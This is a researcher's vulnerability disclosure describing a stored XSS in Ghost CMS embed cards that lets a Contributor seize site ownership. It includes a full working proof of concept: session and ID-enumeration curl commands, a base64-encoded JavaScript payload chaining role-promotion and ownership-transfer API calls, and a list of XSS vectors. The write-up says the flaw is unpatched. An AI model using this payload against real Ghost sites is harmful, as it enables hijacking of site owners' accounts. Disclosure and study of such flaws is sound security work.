Ghost CMS: Stored XSS in Embed Cards Leading to Owner Takeover - 2026

Vulnerability Overview

On a typical Ghost CMS site, staff members review drafts daily as part of their editorial workflow. This routine can be exploited: a low-privileged Contributor can submit a crafted embed card that executes Stored Cross-Site Scripting (XSS) when the site Owner opens it.

This vulnerability allows the Contributor to take full control of the Ghost instance. With a single click from the Owner, the attacker becomes the new Owner, gaining sole ownership, full administrative access, and billing modification abilities. The original Owner is permanently demoted to Administrator.

Ghost CMS declined to patch it, stating that all staff users are considered trusted regardless of role.

What is Ghost CMS?

Ghost CMS is a modern, open-source content management system for professional publishing. Built on Node.js, it offers rich editors, SEO tools, email newsletters, and membership features. The Docker image has over 100 million downloads and is used by Apple, Mozilla, OpenAI, and many others.

Ghost CMS has five user role levels: Contributors, Authors, Editors, Administrators, and Owner. Each role has different permissions, and any staff user can create posts with embed cards, making any staff user a potential exploit vector.

1. Contributors: Can write drafts, cannot publish
2. Authors: Can create and publish their own posts
3. Editors: Can manage all posts and invite authors/contributors
4. Administrators: Full edit permissions for all data and settings
5. Owner: Cannot be deleted; accesses billing details; only one per site

Stored XSS in Embed Card HTML

Ghost’s Lexical editor supports “embed cards” for embedding external content like YouTube videos, tweets, and other media. Each embed card stores raw HTML that gets rendered when a user views the post in the Ghost admin editor.

The embed card HTML field is not sanitized at any point. Whatever HTML is submitted through the API gets stored directly and rendered as-is. This means any staff user can inject JavaScript that will execute in the browser of anyone who opens the post in the admin panel.

The vulnerability exists in two components:

Client-side (admin panel): The @tryghost/koenig-lexical package renders embed HTML inside an unsandboxed iframe:

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<iframe srcDoc={html} />

Without a sandbox attribute, JavaScript in the HTML runs with full access to the admin session.

Server-side: In embed-renderer.js at line 61:

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figure.innerHTML = node.html;

User-controlled HTML is assigned directly to innerHTML with no sanitization.

Multiple XSS vectors were confirmed to execute in the admin panel:

• <img src=x onerror="...">
• <svg onload="...">
• <details open ontoggle="...">
• <iframe src="javascript:...">
• Base64-encoded eval(atob(...))

Weaponizing XSS: Ghost CMS Instance Takeover

The attack targets the site Owner by having them view a malicious draft post. A Contributor creates a draft with a crafted embed card, and the XSS fires automatically when the Owner opens it in the editor to review it. This is a normal part of editorial workflows on multi-author Ghost sites.

A single XSS payload performs two actions in the Owner’s authenticated session:

1. Promotes the attacker’s Contributor account to Administrator via PUT /ghost/api/admin/users/{id}/
2. Transfers site ownership to the attacker via PUT /ghost/api/admin/users/owner

The result is a permanent, irrevocable takeover. The attacker becomes the new Owner (cannot be deleted or demoted), and the original Owner is demoted to Administrator. Recovery requires direct database access.

The required information for the payload (user IDs, role IDs) is available to any staff user, including Contributors, through the Ghost admin API:

GET /ghost/api/admin/users/?include=roles
GET /ghost/api/admin/roles/

A two-stage version of the attack was also verified, where the first draft creates an Administrator invite for the attacker’s email, and a second draft transfers ownership. On production Ghost instances with email configured, the attacker simply receives a legitimate invite email from Ghost and accepts it normally.

Proof of Concept

The following walkthrough was performed on Ghost 6.19.2. The test environment has two accounts: an Owner (chris@alupify.com) and a Contributor (evil@test.com).

Step 1: Confirm Roles Before the Attack

Step 2: Authenticate as Contributor

curl -s -c cookies.txt -X POST "http://localhost:2368/ghost/api/admin/session/" \
  -H "Content-Type: application/json" \
  -d '{"username":"evil@test.com","password":"EvilPass123!"}'

Step 3: Get Attacker’s User ID

curl -s -b cookies.txt "http://localhost:2368/ghost/api/admin/users/me/?include=roles" | jq '.users[0] | {id, email, role: .roles[0].name}'

Step 4: Get Administrator Role ID

curl -s -b cookies.txt "http://localhost:2368/ghost/api/admin/roles/" | jq '.roles[] | select(.name=="Administrator") | {id, name}'

Step 5: Build the XSS Payload

The JavaScript payload chains two API calls using the victim’s session. The first promotes the Contributor to Administrator. The second transfers site ownership to the attacker. Both use credentials: 'include' to ride on the Owner’s session cookie.

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// Step 1: Promote Contributor to Administrator
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fetch('/ghost/api/admin/users/83daecbecde740faa0cf46ba/', {
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  method: 'PUT',
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  credentials: 'include',
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  headers: {'Content-Type': 'application/json'},
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  body: JSON.stringify({
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    users: [{
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      roles: [{id: '6988d0a3fbf3c2a0c634cd2f', name: 'Administrator'}]
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    }]
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  })
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})
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.then(() =>
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  // Step 2: Transfer ownership to attacker (now Administrator)
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  fetch('/ghost/api/admin/users/owner', {
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    method: 'PUT',
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    credentials: 'include',
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    headers: {'Content-Type': 'application/json'},
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    body: JSON.stringify({
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      owner: [{id: '83daecbecde740faa0cf46ba'}]
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    })
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  })
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)

API endpoints used:

• PUT /ghost/api/admin/users/{id}/ changes a user’s role. Requires the caller to be an Owner or Administrator.
• PUT /ghost/api/admin/users/owner transfers site ownership. Can only be called by the current Owner. The target must already be an Administrator, which is why the payload promotes the attacker first.

Step 6: Base64 Encode the Payload

The payload is base64-encoded to avoid JSON escaping issues when embedding it in the Lexical document:

echo -n "fetch('/ghost/api/admin/users/83daecbecde740faa0cf46ba/',{method:'PUT',credentials:'include',headers:{'Content-Type':'application/json'},body:JSON.stringify({users:[{roles:[{id:'6988d0a3fbf3c2a0c634cd2f',name:'Administrator'}]}]})}).then(()=>fetch('/ghost/api/admin/users/owner',{method:'PUT',credentials:'include',headers:{'Content-Type':'application/json'},body:JSON.stringify({owner:[{id:'83daecbecde740faa0cf46ba'}]})}))" | base64 -w0

ZmV0Y2goJy9naG9zdC9hcGkvYWRtaW4vdXNlcnMvODNkYWVjYmVjZGU3NDBmYWEwY2Y0NmJhLycse21ldGhvZDonUFVUJyxjcmVkZW50aWFsczonaW5jbHVkZScsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHt1c2Vyczpbe3JvbGVzOlt7aWQ6JzY5ODhkMGEzZmJmM2MyYTBjNjM0Y2QyZicsbmFtZTonQWRtaW5pc3RyYXRvcid9XX1dfSl9KS50aGVuKCgpPT5mZXRjaCgnL2dob3N0L2FwaS9hZG1pbi91c2Vycy9vd25lcicse21ldGhvZDonUFVUJyxjcmVkZW50aWFsczonaW5jbHVkZScsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHtvd25lcjpbe2lkOic4M2RhZWNiZWNkZTc0MGZhYTBjZjQ2YmEnfV19KX0pKQ==

The embed card HTML that delivers the payload:

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<img src=x onerror="eval(atob('ZmV0Y2goJy9naG9zdC9hcGkvYWRtaW4vdXN...'))">

When the image fails to load, the onerror handler decodes and executes the JavaScript.

Step 7: Create the Malicious Draft Post

The payload is embedded in a Lexical embed card and submitted as a draft post:

CONTRIB_ID="83daecbecde740faa0cf46ba"
PAYLOAD_B64="ZmV0Y2goJy9naG9zdC9hcGkvYWRtaW4vdXNlcnMvODNkYWVjYmVjZGU3NDBmYWEwY2Y0NmJhLycse21ldGhvZDonUFVUJyxjcmVkZW50aWFsczonaW5jbHVkZScsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHt1c2Vyczpbe3JvbGVzOlt7aWQ6JzY5ODhkMGEzZmJmM2MyYTBjNjM0Y2QyZicsbmFtZTonQWRtaW5pc3RyYXRvcid9XX1dfSl9KS50aGVuKCgpPT5mZXRjaCgnL2dob3N0L2FwaS9hZG1pbi91c2Vycy9vd25lcicse21ldGhvZDonUFVUJyxjcmVkZW50aWFsczonaW5jbHVkZScsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHtvd25lcjpbe2lkOic4M2RhZWNiZWNkZTc0MGZhYTBjZjQ2YmEnfV19KX0pKQ=="

# Build the post JSON with the payload and contributor ID substituted in
cat > /tmp/payload.json << JSONEOF
{
  "posts": [{
    "title": "Check this embed!",
    "lexical": "{\"root\":{\"children\":[{\"type\":\"embed\",\"version\":1,\"url\":\"https://example.com\",\"html\":\"<img src=x onerror=\\\\\"eval(atob('${PAYLOAD_B64}'))\\\\\">\",\"embedType\":\"embed\"}],\"direction\":null,\"format\":\"\",\"indent\":0,\"type\":\"root\",\"version\":1}}",
    "status": "draft",
    "authors": [{"id": "${CONTRIB_ID}"}]
  }]
}
JSONEOF

# Submit as Contributor
curl -s -b cookies.txt -X POST "http://localhost:2368/ghost/api/admin/posts/" \
  -H "Content-Type: application/json" \
  -d @/tmp/payload.json | jq '{id: .posts[0].id, title: .posts[0].title, author: .posts[0].primary_author.name}'

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{
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  "id": "699de9102754d18a13be3397",
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  "title": "Check this embed!",
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  "author": "Evil Contributor"
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}

The post shows up as a normal draft in the Ghost Admin posts list.

Step 8: Owner Views the Draft

The site Owner (chris@alupify.com) opens the draft in the editor to review it. This is standard editorial workflow on any multi-author Ghost site. The Network tab shows the two PUT requests firing silently in the background.

The moment the editor loads, the embed card renders, the image fails to load, and the onerror handler fires. The two API calls execute using the Owner’s authenticated session. No clicks, no popups, no visible indication that anything happened.

Step 9: Verify the Takeover

After the Owner views the post, the roles have changed:

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evil@test.com       | Owner
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chris@alupify.com   | Administrator

Precedent: CVE-2024-23724

This is not the first stored XSS to Owner takeover in Ghost CMS. In 2024, Rhino Security Labs discovered a nearly identical vulnerability (CVE-2024-23724) where a low-privilege user could escalate to Owner through stored XSS in SVG profile pictures. Ghost gave the same response at the time: staff users are trusted. MITRE assigned CVE-2024-23724 anyway, and Ghost eventually merged a fix in Pull Request #20264.

Rhino Security Labs’ proof-of-concept: https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-23724

Vendor Response

When I reported this vulnerability, Ghost CMS classified it under the “Privilege Escalation Attacks” exclusion in their security policy. The following is the email exchange that followed.

Researcher Position

In short, Ghost said the SVG fix only happened because scripts were not needed for that feature. For embed cards, where scripts are sometimes required, they chose not to sanitize the HTML. Reading between the lines, this feels less like a technical disagreement and more like engineers following an organizational policy (“all staff are trusted”) regardless of whether the facts of a specific vulnerability warrant an exception.

Remediation

Until a fix is applied, Ghost site owners should limit staff access to trusted individuals and be aware that reviewing any draft post with an embed card could trigger XSS in their session.

Conclusion

This vulnerability allows the lowest-privilege staff user on a Ghost site to permanently take over the Owner account by submitting a single draft post. The attack fits naturally into editorial workflows where Owners and Administrators routinely review Contributor drafts. Ghost declined to patch it, and the vulnerability remains present in all current versions.

Disclosure Timeline